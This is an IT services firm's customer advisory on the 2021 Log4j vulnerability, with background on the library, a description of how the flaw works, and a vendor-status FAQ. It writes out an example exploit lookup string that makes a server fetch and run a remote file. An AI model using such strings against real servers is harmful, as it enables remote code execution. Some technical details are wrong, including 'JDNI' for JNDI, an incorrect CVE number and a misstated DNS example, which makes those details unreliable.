Pure IT CUSO Response to the Apache Software Log4j Vulnerability

We are aware of the Apache software log4j vulnerabilities and have established a task force that continues to investigate and remediate any impacts to our internal and client platforms.
We have not identified any direct risks to our internal infrastructure.  We are monitoring the situation and assessing our vendor and supplier network and have not discovered any impacts related to these vulnerabilities.

The recent log4j vulnerability affects many, many software applications.  In the CVSS scoring scale on how vulnerabilities are ranked, it is a 10.0 out of 10.0 placing it at the highest possible level of criticality.  Log4j is a Java logging library that is widely used.  To try to give some scale, Oracle’s Java website states that “millions of developers [run] more than 51 billion Java Virtual Machines worldwide.”  As a Java library, log4j is used in a vast amount of software and applications from Apple to VMware.

This library is provided by Apache and they patched the library very quickly.  They have since patched it twice more after discovering further issues.  For those companies that use the library, the issue is not as simple as just replacing the library, the way the library is used before it is built into the software has to change.  This prolongs the process of creating a patch and getting that through testing and release.

We are actively monitoring the vendor and supplier networks for any updates, workarounds, patches, or fixes that need to be put in place for our client systems and proactively reaching out to schedule those changes as needed.

Background: Log4j has been around and in use for over 20 years.  It is a part of millions upon millions of software applications.  Log4j is specifically the logging framework for the Java environment.  There are other tools such as log4c that are used in C environments, etc.  This is the tool that is used to pull logging data out of applications in a very efficient manner.  Though it has predefined severity levels like FATAL, ERROR, WARN, INFO, DEBUG, or TRACE, you can also define your own custom logging levels.  Log4j is extremely fast and can handle doing millions of logging events per second.  In an Enterprise Cloud Environment where you could potentially be logging tens or hundreds of millions of events per second, log4j shines as it can log such high volume and with great detail about what event occurred at what millisecond on which thread, etc.

After the vulnerability was discovered some of the large consulting organizations were able to determine that approximately 93% of all Enterprise Cloud Environments in the world would have this vulnerability.  And of those, approximately 7% of those would be exposed directly to the Internet.  Each day another vendor finds more places where this code was used in their own tools or in the tools that they used, or the tools their vendors used that have been built into their products.  If you use a tool such as a Nessus scanner to look for vulnerabilities in your environment, you must update and re-check the environment daily as more instances of this vulnerability are discovered and the footprint of exposure grows.

Closing this vulnerability is much harder than many others because of the way that it works.  In log4j you can not only log strings, but you can do string substitution.  So you could log something like ${java:version} and it will expand that out to be Java 1.7.22.04-3 within your log.  If someone is browsing to your website it can actually ask for the User Agent of your browser and write out that you are using Firefox 73.1-2.  But it goes even further and allows logging of Java Naming and Directory Interface (JDNI) queries.  This means you could do something like ${jdni:dns:8.8.8.8} and it would substitute google.com into that.  Where the exploit comes in would be a query such as ${jdni:ldap://bit.ly/filename} which would download the file from that URL and execute it.  If log4j is running on a server where it can see both inside and outside of your network and it has access to write to your internal file server, that capability can have onerous effect.

The fix for this was to remove the capability for log4j to execute JDNI queries.  There have been other issues discovered since then and those have been patched as well.  So we can say that we have a fixed version of log4j.  However, there were real valid use cases for JDNI queries and that was a feature that was heavily in use within the product.  Those vendors that have been using those features now have to update their code to do logging that would have queried JDNI in a different way.  That is why we are seeing so many workarounds being put in place versus patches.  The workarounds are often simply turning off functionality but you are losing functionality at the same time.  It is a valid trade off for now, but something that needs to be resolved correctly in the near term.  If you have an Enterprise Cloud Environment you depend upon those log files for a lot of security, debugging, and troubleshooting information.  These workarounds are often turning off that data stream.

This will be a continuing process for the coming year(s) to resolve the fallout of this vulnerability.

Last updated 1/11/2022, 12:58PM CST

Vulnerability Information

If you would like further detailed infor, CISA has created a website to provide guidance on this vulnerability.

Both CISA and the NCSC-NL have GItHub Repositories to keep track of the updates from each vendor.

12-10-2021 – CVE-2021-44228

Vulnerability Details

12-15-2021 – CVE-2021-45046

Vulnerability Details

12-18-2021 – CVE-2021-45015

Vulnerability Details

Frequently Asked Questions

Do these vulnerabilities affect Pure IT?

At this point we have not identified any internal or partner systems that are affected.

Does my endpoint protection needed to be updated for this?

Though it is always a good idea to keep endpoint/malware protection updated, this is not a vulnerability that affects the endpoints or workstations.  This is a vulnerability that is exploited at the edges of the network and targets servers and other systems.

Can I block this at the Firewall or IDS/IPS?

Edge device vendors such as Palo Alto Networks have published signatures to look for and block this traffic.  However, this traffic is typically encrypted and may not be inspected.  Pure IT has contacted all Managed Firewall customers requesting an Emergency Change Order to allow us to enable Inbound Decrypt on the devices we have under management to monitor for this vulnerability in encrypted traffic.

Is my Veeam backup affected?

At this point, there are no known vulnerabilities in the Veeam products. https://www.veeam.com/kb4254

Are my Dell switches affected?

Dell asserts that Dellnetwork OS 9 and 10 are not vulnerable.  See https://www.dell.com/support/kbdoc/en-us/000194414/dell-response-to-apache-log4j-remote-code-execution-vulnerability

Are my Dell iDRAC affected?

Dell asserts that iDRAC Service Module is not vulnerable.  See https://www.dell.com/support/kbdoc/en-us/000194414/dell-response-to-apache-log4j-remote-code-execution-vulnerability

Is Lionguard affected?

Lionguard asserts that their tools are not affected.  https://insights.liongard.com/faq-apache-log4j-vulnerability

Is Auvik affected?

Auvik found that they had some tools that were affected and has since resolved that vulnerability.  As a cloud-based solution, this provides the fix across all clients. https://status.auvik.com/incidents/58bfngkz69mj

Is ConnectWise Affected?

For the Cloud-Based deployments like what we use at Pure IT, ConnectWise was unaffected.  For those with onsite instances, ConnectWise provided a workaround to turn off the affected services.  As of 12/21/2021 they are testing a patch with intention to roll it our shortly.  https://www.connectwise.com/company/trust/advisories?mkt_tok=NDE3LUhXWS04MjYAAAGBXjGOR9bMyJSefbkkQjZSApYjwp6ZZJm2eKNVc54Fe6U8HUuzmjYENnqu3CVoi7_7epZkQrkDtVW2Gby2uHIi9dvjBoX7517DNwTCp4XOXBs5

Is BitDefender affected?

BitDefender’s products are unaffected by the vulnerability.  https://businessinsights.bitdefender.com/security-advisory-bitdefender-response-to-critical-0-day-apache-log4j2-vulnerability

Are my HP products affected?

HP has a very extensive line of equipment and systems.  Those items that have been inspected and found NOT vulnerable is available at https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-a00120086en_us.  Those products not on this list are either vulnerable or still under investigation.

Are Microsoft products affected?

There are a small number of Microsoft products that are affected by this vulnerability.  Microsoft has fixes to resolve this issue.  Details are available at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-44228.

There are also some details of steps that can be taken to further enhance the security even when Microsoft’s tools are not vulnerable.  These are available at https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/

Is Microsoft Azure AD affected?

Though not directly affected, many other tools can use Azure AD for authentication.  If you use Azure AD for Single Sign On within your environment, Microsoft is recommending some steps to help mitigate potential bad actors at https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/#Microsoft-Azure-AD

Is my VMware environment affected?

There are several vulnerabilities in the VMware products.  For clients with VMware under management by Pure IT, we have contacted clients that have these packages installed and are implementing workarounds or patches as available and appropriate.  For more details, see VMware’s response at https://kb.vmware.com/s/article/87068

Is my Checkpoint Firewall affected?

Checkpoint asserts that they are not vulnerable.  See more info at https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/

Are my Fortinet products affected?

Fortinet has provided a guide on their products that are affected and not affected at https://www.fortiguard.com/psirt/FG-IR-21-245

Are my Aruba products affected?

Only the Aruba Silver Peak Orchestrator and legacy GMS products are affected.  All other Aruba products are not vulnerable.  See https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2021-019.txt

Are my nVidia vGPU products affected?

Nvidia has published an article about their Legacy GPU license server that indicates that certain versions do have vulnerabilities.  Those versions need to be updated.  The article states, “Only Legacy vGPU Software License Server 2021.07 (July 2021 release) and 2020.05 U1 (April 2021 release) are impacted by these vulnerabilities.”

See the full article at https://enterprise-support.nvidia.com/s/article/Log4j-Java-Vulnerability-CVE-2021-44228-for-vGPU-Legacy-License-Server

What other patches or workarounds need to be put in place?

Pure IT staff have reached out to all clients that have affected systems to implement workarounds or patches where available.  If you think of other systems that you have in place, check the CISA or NCSC-NL repositories to validate the status.

How do I get further info?

Contact the Pure IT Service Desk through normal channels at servicedesk@nullpureitcuso.com or 281-378-7737.